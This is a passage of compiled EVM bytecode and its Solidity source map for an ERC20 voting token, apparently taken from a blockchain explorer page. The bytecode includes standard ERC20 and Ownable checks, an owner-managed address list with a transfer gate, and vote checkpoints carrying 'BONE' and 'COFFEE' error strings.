ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611395919061211c565b60405180910390a3505050565b60006113ae8484611062565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611428578181101561141a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141190612a19565b60405180910390fd5b61142784848484036111d9565b5b50505050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114cf5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561152b5760011515600560009054906101000a900460ff1615151461152a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152190612a5f565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361159a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159190612af1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160090612b83565b60405180910390fd5b611614838383611a57565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561169b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169290612c15565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161178b919061211c565b60405180910390a361179e848484611a5c565b50505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611813846108ad565b905082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a461190f828483611a61565b50505050565b61191d6111d1565b73ffffffffffffffffffffffffffffffffffffffff1661193b610cf7565b73ffffffffffffffffffffffffffffffffffffffff1614611991576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198890612c81565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a9d5750600081115b15611cfd57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bcf576000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611b40576000611bad565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611b8e91906126ed565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382611bbd9190612ca1565b9050611bcb86848484611d02565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cfc576000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611c6d576000611cda565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611cbb91906126ed565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382611cea91906125b0565b9050611cf885848484611d02565b5050505b5b505050565b6000611d2643604051806060016040528060368152602001612dc960369139612005565b905060008463ffffffff16118015611dc457508063ffffffff16600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611d8e91906126ed565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e3e5781600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611e1891906126ed565b63ffffffff1663ffffffff16815260200190815260200160002060010181905550611fae565b60405180604001604052808263ffffffff16815260200183815250600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff16600185611efd9190612cd5565b63ffffffff1611611f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3a90612d7f565b60405180910390fd5b600184611f509190612cd5565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611ff6929190612d9f565b60405180910390a25050505050565b600064010000000083108290612051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204891906121c7565b60405180910390fd5b5082905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061209082612065565b9050919050565b6120a081612085565b81146120ab57600080fd5b50565b6000813590506120bd81612097565b92915050565b600080604083850312156120da576120d961205b565b5b60006120e8858286016120ae565b92505060206120f9858286016120ae565b9150509250929050565b6000819050919050565b61211681612103565b82525050565b6000602082019050612131600083018461210d565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612171578082015181840152602081019050612156565b60008484015250505050565b6000601f19601f8301169050919050565b600061219982612137565b6121a38185612142565b93506121b3818560208601612153565b6121bc8161217d565b840191505092915050565b600060208201905081810360008301526121e1818461218e565b905092915050565b6121f281612103565b81146121fd57600080fd5b50565b60008135905061220f816121e9565b92915050565b6000806040838503121561222c5761222b61205b565b5b600061223a858286016120ae565b925050602061224b85828601612200565b9150509250929050565b60008115159050919050565b61226a81612255565b82525050565b60006020820190506122856000830184612261565b92915050565b6000819050919050565b61229e8161228b565b82525050565b60006020820190506122b96000830184612295565b92915050565b6000806000606084860312156122d8576122d761205b565b5b60006122e6868287016120ae565b93505060206122f7868287016120ae565b925050604061230886828701612200565b9150509250925092565b600060ff82169050919050565b61232881612312565b82525050565b6000602082019050612343600083018461231f565b92915050565b60006020828403121561235f5761235e61205b565b5b600061236d848285016120ae565b91505092915050565b61237f81612085565b82525050565b600060208201905061239a6000830184612376565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126123c5576123c46123a0565b5b8235905067ffffffffffffffff8111156123e2576123e16123a5565b5b6020830191508360208202830111156123fe576123fd6123aa565b5b9250929050565b6000806020838503121561241c5761241b61205b565b5b600083013567ffffffffffffffff81111561243a57612439612060565b5b612446858286016123af565b92509250509250929050565b600063ffffffff82169050919050565b61246b81612452565b82525050565b60006020820190506124866000830184612462565b92915050565b61249581612452565b81146124a057600080fd5b50565b6000813590506124b28161248c565b92915050565b600080604083850312156124cf576124ce61205b565b5b60006124dd858286016120ae565b92505060206124ee858286016124a3565b9150509250929050565b600060408201905061250d6000830185612462565b61251a602083018461210d565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061256857607f821691505b60208210810361257b5761257a612521565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006125bb82612103565b91506125c683612103565b92508282019050808211156125de576125dd612581565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061261e82612103565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036126505761264f612581565b5b600182019050919050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b60006126b7602783612142565b91506126c28261265b565b604082019050919050565b600060208201905081810360008301526126e6816126aa565b9050919050565b60006126f882612452565b915061270383612452565b9250828203905063ffffffff81111561271f5761271e612581565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061275f82612452565b915061276a83612452565b92508261277a57612779612725565b5b828204905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006127e1602583612142565b91506127ec82612785565b604082019050919050565b60006020820190508181036000830152612810816127d4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612873602683612142565b915061287e82612817565b604082019050919050565b600060208201905081810360008301526128a281612866565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612905602483612142565b9150612910826128a9565b604082019050919050565b60006020820190508181036000830152612934816128f8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612997602283612142565b91506129a28261293b565b604082019050919050565b600060208201905081810360008301526129c68161298a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612a03601d83612142565b9150612a0e826129cd565b602082019050919050565b60006020820190508181036000830152612a32816129f6565b9050919050565b50565b6000612a49600083612142565b9150612a5482612a39565b600082019050919050565b60006020820190508181036000830152612a7881612a3c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612adb602583612142565b9150612ae682612a7f565b604082019050919050565b60006020820190508181036000830152612b0a81612ace565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612b6d602383612142565b9150612b7882612b11565b604082019050919050565b60006020820190508181036000830152612b9c81612b60565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612bff602683612142565b9150612c0a82612ba3565b604082019050919050565b60006020820190508181036000830152612c2e81612bf2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c6b602083612142565b9150612c7682612c35565b602082019050919050565b60006020820190508181036000830152612c9a81612c5e565b9050919050565b6000612cac82612103565b9150612cb783612103565b9250828203905081811115612ccf57612cce612581565b5b92915050565b6000612ce082612452565b9150612ceb83612452565b9250828201905063ffffffff811115612d0757612d06612581565b5b92915050565b7f434f464645453a3a5f7772697465436865636b706f696e743a206e657720636860008201527f65636b706f696e74206578636565647320333220626974730000000000000000602082015250565b6000612d69603883612142565b9150612d7482612d0d565b604082019050919050565b60006020820190508181036000830152612d9881612d5c565b9050919050565b6000604082019050612db4600083018561210d565b612dc1602083018461210d565b939250505056fe434f464645453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a26469706673582212200ea576c4d0aa111e55fb778b156c577be6555b93af49cf9c7749424e3927d73964736f6c63430008130033
Deployed Bytecode Sourcemap
20701:6445:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8089:66;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8808:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11771:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10540:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21666:122;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12552:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9770:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13256:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22438:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22699:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10066:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21176:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10711:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5914:103;;;:::i;:::-;;23234:1212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21869:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5273:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10378:96;;;:::i;:::-;;9027:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13997:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9871:187;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11044:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10264:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24647:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11300:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21476:117;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21308:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;6172:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8089:66;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8808:100::-;8862:13;8895:5;8888:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8808:100;:::o;11771:201::-;11854:4;11871:13;11887:12;:10;:12::i;:::-;11871:28;;11910:32;11919:5;11926:7;11935:6;11910:8;:32::i;:::-;11960:4;11953:11;;;11771:201;;;;:::o;10540:108::-;10601:7;10628:12;;10621:19;;10540:108;:::o;21666:122::-;21708:80;21666:122;:::o;12552:295::-;12683:4;12700:15;12718:12;:10;:12::i;:::-;12700:30;;12741:38;12757:4;12763:7;12772:6;12741:15;:38::i;:::-;12790:27;12800:4;12806:2;12810:6;12790:9;:27::i;:::-;12835:4;12828:11;;;12552:295;;;;;:::o;9770:93::-;9828:5;9853:2;9846:9;;9770:93;:::o;13256:238::-;13344:4;13361:13;13377:12;:10;:12::i;:::-;13361:28;;13400:64;13409:5;13416:7;13453:10;13425:25;13435:5;13442:7;13425:9;:25::i;:::-;:38;;;;:::i;:::-;13400:8;:64::i;:::-;13482:4;13475:11;;;13256:238;;;;:::o;22438:117::-;22499:7;22526:10;:21;22537:9;22526:21;;;;;;;;;;;;;;;;;;;;;;;;;22519:28;;22438:117;;;:::o;22699:104::-;22763:32;22773:10;22785:9;22763;:32::i;:::-;22699:104;:::o;10066:190::-;5159:13;:11;:13::i;:::-;10152:9:::1;10147:102;10171:7;;:14;;10167:1;:18;10147:102;;;10232:5;10207:10;:22;10218:7;;10226:1;10218:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10207:22;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;10187:3;;;;;:::i;:::-;;;;10147:102;;;;10066:190:::0;;:::o;21176:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;10711:127::-;10785:7;10812:9;:18;10822:7;10812:18;;;;;;;;;;;;;;;;10805:25;;10711:127;;;:::o;5914:103::-;5159:13;:11;:13::i;:::-;5979:30:::1;6006:1;5979:18;:30::i;:::-;5914:103::o:0;23234:1212::-;23315:7;23356:12;23342:11;:26;23334:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;23423:19;23445:14;:23;23460:7;23445:23;;;;;;;;;;;;;;;;;;;;;;;;;23423:45;;23499:1;23483:12;:17;;;23479:58;;23524:1;23517:8;;;;;23479:58;23647:11;23595;:20;23607:7;23595:20;;;;;;;;;;;;;;;:38;23631:1;23616:12;:16;;;;:::i;:::-;23595:38;;;;;;;;;;;;;;;:48;;;;;;;;;;;;:63;;;23591:147;;23682:11;:20;23694:7;23682:20;;;;;;;;;;;;;;;:38;23718:1;23703:12;:16;;;;:::i;:::-;23682:38;;;;;;;;;;;;;;;:44;;;23675:51;;;;;23591:147;23833:11;23797;:20;23809:7;23797:20;;;;;;;;;;;;;;;:23;23818:1;23797:23;;;;;;;;;;;;;:33;;;;;;;;;;;;:47;;;23793:88;;;23868:1;23861:8;;;;;23793:88;23891:12;23918;23948:1;23933:12;:16;;;;:::i;:::-;23918:31;;23960:428;23975:5;23967:13;;:5;:13;;;23960:428;;;23997:13;24039:1;24030:5;24022;:13;;;;:::i;:::-;24021:19;;;;:::i;:::-;24013:5;:27;;;;:::i;:::-;23997:43;;24082:20;24105:11;:20;24117:7;24105:20;;;;;;;;;;;;;;;:28;24126:6;24105:28;;;;;;;;;;;;;;;24082:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24168:11;24152:2;:12;;;:27;;;24148:229;;24207:2;:8;;;24200:15;;;;;;;;;24148:229;24256:11;24241:2;:12;;;:26;;;24237:140;;;24296:6;24288:14;;24237:140;;;24360:1;24351:6;:10;;;;:::i;:::-;24343:18;;24237:140;23982:406;;23960:428;;;24405:11;:20;24417:7;24405:20;;;;;;;;;;;;;;;:27;24426:5;24405:27;;;;;;;;;;;;;;;:33;;;24398:40;;;;;23234:1212;;;;;:::o;21869:39::-;;;;;;;;;;;;;;;;;:::o;5273:87::-;5319:7;5346:6;;;;;;;;;;;5339:13;;5273:87;:::o;10378:96::-;5159:13;:11;:13::i;:::-;10449:17:::1;;;;;;;;;;;10448:18;10428:17;;:38;;;;;;;;;;;;;;;;;;10378:96::o:0;9027:104::-;9083:13;9116:7;9109:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9027:104;:::o;13997:436::-;14090:4;14107:13;14123:12;:10;:12::i;:::-;14107:28;;14146:24;14173:25;14183:5;14190:7;14173:9;:25::i;:::-;14146:52;;14237:15;14217:16;:35;;14209:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;14330:60;14339:5;14346:7;14374:15;14355:16;:34;14330:8;:60::i;:::-;14421:4;14414:11;;;;13997:436;;;;:::o;9871:187::-;5159:13;:11;:13::i;:::-;9955:9:::1;9950:101;9974:7;;:14;;9970:1;:18;9950:101;;;10035:4;10010:10;:22;10021:7;;10029:1;10021:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10010:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;9990:3;;;;;:::i;:::-;;;;9950:101;;;;9871:187:::0;;:::o;11044:193::-;11123:4;11140:13;11156:12;:10;:12::i;:::-;11140:28;;11179;11189:5;11196:2;11200:6;11179:9;:28::i;:::-;11225:4;11218:11;;;11044:193;;;;:::o;10264:106::-;10319:4;10343:10;:19;10354:7;10343:19;;;;;;;;;;;;;;;;;;;;;;;;;10336:26;;10264:106;;;:::o;24647:222::-;24712:7;24731:19;24753:14;:23;24768:7;24753:23;;;;;;;;;;;;;;;;;;;;;;;;;24731:45;;24809:1;24794:12;:16;;;:67;;24860:1;24794:67;;;24813:11;:20;24825:7;24813:20;;;;;;;;;;;;;;;:38;24849:1;24834:12;:16;;;;:::i;:::-;24813:38;;;;;;;;;;;;;;;:44;;;24794:67;24787:74;;;24647:222;;;:::o;11300:151::-;11389:7;11416:11;:18;11428:5;11416:18;;;;;;;;;;;;;;;:27;11435:7;11416:27;;;;;;;;;;;;;;;;11409:34;;11300:151;;;;:::o;21476:117::-;21522:71;21476:117;:::o;21308:70::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6172:201::-;5159:13;:11;:13::i;:::-;6281:1:::1;6261:22;;:8;:22;;::::0;6253:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6337:28;6356:8;6337:18;:28::i;:::-;6172:201:::0;:::o;3982:98::-;4035:7;4062:10;4055:17;;3982:98;:::o;18113:380::-;18266:1;18249:19;;:5;:19;;;18241:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18347:1;18328:21;;:7;:21;;;18320:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18431:6;18401:11;:18;18413:5;18401:18;;;;;;;;;;;;;;;:27;18420:7;18401:27;;;;;;;;;;;;;;;:36;;;;18469:7;18453:32;;18462:5;18453:32;;;18478:6;18453:32;;;;;;:::i;:::-;;;;;;;;18113:380;;;:::o;18784:453::-;18919:24;18946:25;18956:5;18963:7;18946:9;:25::i;:::-;18919:52;;19006:17;18986:16;:37;18982:248;;19068:6;19048:16;:26;;19040:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;19152:51;19161:5;19168:7;19196:6;19177:16;:25;19152:8;:51::i;:::-;18982:248;18908:329;18784:453;;;:::o;14903:929::-;15030:10;:14;15041:2;15030:14;;;;;;;;;;;;;;;;;;;;;;;;;:34;;;;15048:10;:16;15059:4;15048:16;;;;;;;;;;;;;;;;;;;;;;;;;15030:34;15026:78;;;15095:4;15074:25;;:17;;;;;;;;;;;:25;;;15066:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;15026:78;15139:1;15123:18;;:4;:18;;;15115:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15216:1;15202:16;;:2;:16;;;15194:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;15271:38;15292:4;15298:2;15302:6;15271:20;:38::i;:::-;15322:19;15344:9;:15;15354:4;15344:15;;;;;;;;;;;;;;;;15322:37;;15393:6;15378:11;:21;;15370:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;15510:6;15496:11;:20;15478:9;:15;15488:4;15478:15;;;;;;;;;;;;;;;:38;;;;15713:6;15696:9;:13;15706:2;15696:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;15763:2;15748:26;;15757:4;15748:26;;;15767:6;15748:26;;;;;;:::i;:::-;;;;;;;;15787:37;15807:4;15813:2;15817:6;15787:19;:37::i;:::-;15015:817;14903:929;;;:::o;24877:376::-;24954:23;24980:10;:21;24991:9;24980:21;;;;;;;;;;;;;;;;;;;;;;;;;24954:47;;25012:24;25039:20;25049:9;25039;:20::i;:::-;25012:47;;25095:9;25071:10;:21;25082:9;25071:21;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;25164:9;25120:54;;25147:15;25120:54;;25136:9;25120:54;;;;;;;;;;;;25185:60;25200:15;25217:9;25228:16;25185:14;:60::i;:::-;24943:310;;24877:376;;:::o;5438:132::-;5513:12;:10;:12::i;:::-;5502:23;;:7;:5;:7::i;:::-;:23;;;5494:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5438:132::o;6533:191::-;6607:16;6626:6;;;;;;;;;;;6607:25;;6652:8;6643:6;;:17;;;;;;;;;;;;;;;;;;6707:8;6676:40;;6697:8;6676:40;;;;;;;;;;;;6596:128;6533:191;:::o;20569:125::-;;;;:::o;19841:124::-;;;;:::o;26033:941::-;26139:6;26129:16;;:6;:16;;;;:30;;;;;26158:1;26149:6;:10;26129:30;26125:842;;;26198:1;26180:20;;:6;:20;;;26176:382;;26269:16;26288:14;:22;26303:6;26288:22;;;;;;;;;;;;;;;;;;;;;;;;;26269:41;;26329:17;26361:1;26349:9;:13;;;:60;;26408:1;26349:60;;;26365:11;:19;26377:6;26365:19;;;;;;;;;;;;;;;:34;26397:1;26385:9;:13;;;;:::i;:::-;26365:34;;;;;;;;;;;;;;;:40;;;26349:60;26329:80;;26428:17;26460:6;26448:9;:18;;;;:::i;:::-;26428:38;;26485:57;26502:6;26510:9;26521;26532;26485:16;:57::i;:::-;26202:356;;;26176:382;26596:1;26578:20;;:6;:20;;;26574:382;;26667:16;26686:14;:22;26701:6;26686:22;;;;;;;;;;;;;;;;;;;;;;;;;26667:41;;26727:17;26759:1;26747:9;:13;;;:60;;26806:1;26747:60;;;26763:11;:19;26775:6;26763:19;;;;;;;;;;;;;;;:34;26795:1;26783:9;:13;;;;:::i;:::-;26763:34;;;;;;;;;;;;;;;:40;;;26747:60;26727:80;;26826:17;26858:6;26846:9;:18;;;;:::i;:::-;26826:38;;26883:57;26900:6;26908:9;26919;26930;26883:16;:57::i;:::-;26600:356;;;26574:382;26125:842;26033:941;;;:::o;25261:764::-;25383:18;25404:78;25411:12;25404:78;;;;;;;;;;;;;;;;;:6;:78::i;:::-;25383:99;;25514:1;25499:12;:16;;;:85;;;;;25573:11;25519:65;;:11;:22;25531:9;25519:22;;;;;;;;;;;;;;;:40;25557:1;25542:12;:16;;;;:::i;:::-;25519:40;;;;;;;;;;;;;;;:50;;;;;;;;;;;;:65;;;25499:85;25495:454;;;25650:8;25601:11;:22;25613:9;25601:22;;;;;;;;;;;;;;;:40;25639:1;25624:12;:16;;;;:::i;:::-;25601:40;;;;;;;;;;;;;;;:46;;:57;;;;25495:454;;;25730:33;;;;;;;;25741:11;25730:33;;;;;;25754:8;25730:33;;;25691:11;:22;25703:9;25691:22;;;;;;;;;;;;;;;:36;25714:12;25691:36;;;;;;;;;;;;;;;:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25805:12;25786:31;;25801:1;25786:12;:16;;;;:::i;:::-;:31;;;25778:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;25936:1;25921:12;:16;;;;:::i;:::-;25893:14;:25;25908:9;25893:25;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;25495:454;25987:9;25966:51;;;25998:8;26008;25966:51;;;;;;;:::i;:::-;;;;;;;;25372:653;25261:764;;;;:::o;26982:161::-;27057:6;27088:5;27084:1;:9;27095:12;27076:32;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;27133:1;27119:16;;26982:161;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:474::-;909:6;917;966:2;954:9;945:7;941:23;937:32;934:119;;;972:79;;:::i;:::-;934:119;1092:1;1117:53;1162:7;1153:6;1142:9;1138:22;1117:53;:::i;:::-;1107:63;;1063:117;1219:2;1245:53;1290:7;1281:6;1270:9;1266:22;1245:53;:::i;:::-;1235:63;;1190:118;841:474;;;;;:::o;1321:77::-;1358:7;1387:5;1376:16;;1321:77;;;:::o;1404:118::-;1491:24;1509:5;1491:24;:::i;:::-;1486:3;1479:37;1404:118;;:::o;1528:222::-;1621:4;1659:2;1648:9;1644:18;1636:26;;1672:71;1740:1;1729:9;1725:17;1716:6;1672:71;:::i;:::-;1528:222;;;;:::o;1756:99::-;1808:6;1842:5;1836:12;1826:22;;1756:99;;;:::o;1861:169::-;1945:11;1979:6;1974:3;1967:19;2019:4;2014:3;2010:14;1995:29;;1861:169;;;;:::o;2036:246::-;2117:1;2127:113;2141:6;2138:1;2135:13;2127:113;;;2226:1;2221:3;2217:11;2211:18;2207:1;2202:3;2198:11;2191:39;2163:2;2160:1;2156:10;2151:15;;2127:113;;;2274:1;2265:6;2260:3;2256:16;2249:27;2098:184;2036:246;;;:::o;2288:102::-;2329:6;2380:2;2376:7;2371:2;2364:5;2360:14;2356:28;2346:38;;2288:102;;;:::o;2396:377::-;2484:3;2512:39;2545:5;2512:39;:::i;:::-;2567:71;2631:6;2626:3;25